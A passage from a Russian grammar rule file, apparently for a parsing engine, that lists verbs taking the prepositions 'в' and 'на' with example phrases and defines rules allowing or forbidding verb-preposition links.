систему безопасности rus_verbs:встроиться{}, // встроиться в систему безопасности rus_verbs:встрять{}, // встрять в разговор rus_verbs:вступать{}, // вступать в действующую армию rus_verbs:вступить{}, // вступить в действующую армию rus_verbs:всунуть{}, // всунуть палец в отверстие rus_verbs:всунуться{}, // всунуться в форточку инфинитив:всыпать{вид:соверш}, // всыпать порошок в контейнер инфинитив:всыпать{вид:несоверш}, глагол:всыпать{вид:соверш}, глагол:всыпать{вид:несоверш}, деепричастие:всыпав{}, деепричастие:всыпая{}, прилагательное:всыпавший{ вид:соверш }, // прилагательное:всыпавший{ вид:несоверш }, прилагательное:всыпанный{}, // прилагательное:всыпающий{}, инфинитив:всыпаться{ вид:несоверш}, // всыпаться в контейнер // инфинитив:всыпаться{ вид:соверш}, // глагол:всыпаться{ вид:соверш}, глагол:всыпаться{ вид:несоверш}, // деепричастие:всыпавшись{}, деепричастие:всыпаясь{}, // прилагательное:всыпавшийся{ вид:соверш }, // прилагательное:всыпавшийся{ вид:несоверш }, // прилагательное:всыпающийся{}, rus_verbs:вталкивать{}, // вталкивать деталь в ячейку rus_verbs:вталкиваться{}, // вталкиваться в ячейку rus_verbs:втаптывать{}, // втаптывать в грязь rus_verbs:втаптываться{}, // втаптываться в грязь rus_verbs:втаскивать{}, // втаскивать мешок в комнату rus_verbs:втаскиваться{}, // втаскиваться в комнату rus_verbs:втащить{}, // втащить мешок в комнату rus_verbs:втащиться{}, // втащиться в комнату rus_verbs:втекать{}, // втекать в бутылку rus_verbs:втемяшивать{}, // втемяшивать в голову rus_verbs:втемяшиваться{}, // втемяшиваться в голову rus_verbs:втемяшить{}, // втемяшить в голову rus_verbs:втемяшиться{}, // втемяшиться в голову rus_verbs:втереть{}, // втереть крем в кожу rus_verbs:втереться{}, // втереться в кожу rus_verbs:втесаться{}, // втесаться в группу rus_verbs:втесывать{}, // втесывать в группу rus_verbs:втесываться{}, // втесываться в группу rus_verbs:втечь{}, // втечь в бак rus_verbs:втирать{}, // втирать крем в кожу rus_verbs:втираться{}, // втираться в кожу rus_verbs:втискивать{}, // втискивать сумку в вагон rus_verbs:втискиваться{}, // втискиваться в переполненный вагон rus_verbs:втиснуть{}, // втиснуть сумку в вагон rus_verbs:втиснуться{}, // втиснуться в переполненный вагон метро rus_verbs:втолкать{}, // втолкать коляску в лифт rus_verbs:втолкаться{}, // втолкаться в вагон метро rus_verbs:втолкнуть{}, // втолкнуть коляску в лифт rus_verbs:втолкнуться{}, // втолкнуться в вагон метро rus_verbs:втолочь{}, // втолочь в смесь rus_verbs:втоптать{}, // втоптать цветы в землю rus_verbs:вторгаться{}, // вторгаться в чужую зону rus_verbs:вторгнуться{}, // вторгнуться в частную жизнь rus_verbs:втравить{}, // втравить кого-то в неприятности rus_verbs:втравливать{}, // втравливать кого-то в неприятности rus_verbs:втрамбовать{}, // втрамбовать камни в землю rus_verbs:втрамбовывать{}, // втрамбовывать камни в землю rus_verbs:втрамбовываться{}, // втрамбовываться в землю rus_verbs:втрескаться{}, // втрескаться в кого-то rus_verbs:втрескиваться{}, // втрескиваться в кого-либо rus_verbs:втыкать{}, // втыкать вилку в котлетку rus_verbs:втыкаться{}, // втыкаться в розетку rus_verbs:втюриваться{}, // втюриваться в кого-либо rus_verbs:втюриться{}, // втюриться в кого-либо rus_verbs:втягивать{}, // втягивать что-то в себя rus_verbs:втягиваться{}, // втягиваться в себя rus_verbs:втянуться{}, // втянуться в себя rus_verbs:вцементировать{}, // вцементировать сваю в фундамент rus_verbs:вчеканить{}, // вчеканить надпись в лист rus_verbs:вчитаться{}, // вчитаться внимательнее в текст rus_verbs:вчитываться{}, // вчитываться внимательнее в текст rus_verbs:вчувствоваться{}, // вчувствоваться в роль rus_verbs:вшагивать{}, // вшагивать в новую жизнь rus_verbs:вшагнуть{}, // вшагнуть в новую жизнь rus_verbs:вшивать{}, // вшивать заплату в рубашку rus_verbs:вшиваться{}, // вшиваться в ткань rus_verbs:вшить{}, // вшить заплату в ткань rus_verbs:въедаться{}, // въедаться в мякоть rus_verbs:въезжать{}, // въезжать в гараж rus_verbs:въехать{}, // въехать в гараж rus_verbs:выиграть{}, // Коля выиграл в шахматы rus_verbs:выигрывать{}, // Коля часто выигрывает у меня в шахматы rus_verbs:выкладывать{}, // выкладывать в общий доступ rus_verbs:выкладываться{}, // выкладываться в общий доступ rus_verbs:выкрасить{}, // выкрасить машину в розовый цвет rus_verbs:выкраситься{}, // выкраситься в дерзкий розовый цвет rus_verbs:выкрашивать{}, // выкрашивать волосы в красный цвет rus_verbs:выкрашиваться{}, // выкрашиваться в красный цвет rus_verbs:вылезать{}, // вылезать в открытое пространство rus_verbs:вылезти{}, // вылезти в открытое пространство rus_verbs:выливать{}, // выливать в бутылку rus_verbs:выливаться{}, // выливаться в ёмкость rus_verbs:вылить{}, // вылить отходы в канализацию rus_verbs:вылиться{}, // Топливо вылилось в воду rus_verbs:выложить{}, // выложить в общий доступ rus_verbs:выпадать{}, // выпадать в осадок rus_verbs:выпрыгивать{}, // выпрыгивать в окно rus_verbs:выпрыгнуть{}, // выпрыгнуть в окно rus_verbs:выродиться{}, // выродиться в жалкое подобие rus_verbs:вырождаться{}, // вырождаться в жалкое подобие славных предков rus_verbs:высеваться{}, // высеваться в землю rus_verbs:высеять{}, // высеять в землю rus_verbs:выслать{}, // выслать в страну постоянного пребывания rus_verbs:высморкаться{}, // высморкаться в платок rus_verbs:высморкнуться{}, // высморкнуться в платок rus_verbs:выстреливать{}, // выстреливать в цель rus_verbs:выстреливаться{}, // выстреливаться в цель rus_verbs:выстрелить{}, // выстрелить в цель rus_verbs:вытекать{}, // вытекать в озеро rus_verbs:вытечь{}, // вытечь в воду rus_verbs:смотреть{}, // смотреть в будущее rus_verbs:подняться{}, // подняться в лабораторию rus_verbs:послать{}, // послать в магазин rus_verbs:слать{}, // слать в неизвестность rus_verbs:добавить{}, // добавить в суп rus_verbs:пройти{}, // пройти в лабораторию rus_verbs:положить{}, // положить в ящик rus_verbs:прислать{}, // прислать в полицию rus_verbs:упасть{}, // упасть в пропасть инфинитив:писать{ aux stress="пис^ать" }, // писать в газету инфинитив:писать{ aux stress="п^исать" }, // писать в штанишки глагол:писать{ aux stress="п^исать" }, глагол:писать{ aux stress="пис^ать" }, деепричастие:писая{}, прилагательное:писавший{ aux stress="п^исавший" }, // писавший в штанишки прилагательное:писавший{ aux stress="пис^авший" }, // писавший в газету rus_verbs:собираться{}, // собираться в поход rus_verbs:звать{}, // звать в ресторан rus_verbs:направиться{}, // направиться в ресторан rus_verbs:отправиться{}, // отправиться в ресторан rus_verbs:поставить{}, // поставить в угол rus_verbs:целить{}, // целить в мишень rus_verbs:попасть{}, // попасть в переплет rus_verbs:ударить{}, // ударить в больное место rus_verbs:закричать{}, // закричать в микрофон rus_verbs:опустить{}, // опустить в воду rus_verbs:принести{}, // принести в дом бездомного щенка rus_verbs:отдать{}, // отдать в хорошие руки rus_verbs:ходить{}, // ходить в школу rus_verbs:уставиться{}, // уставиться в экран rus_verbs:приходить{}, // приходить в бешенство rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) 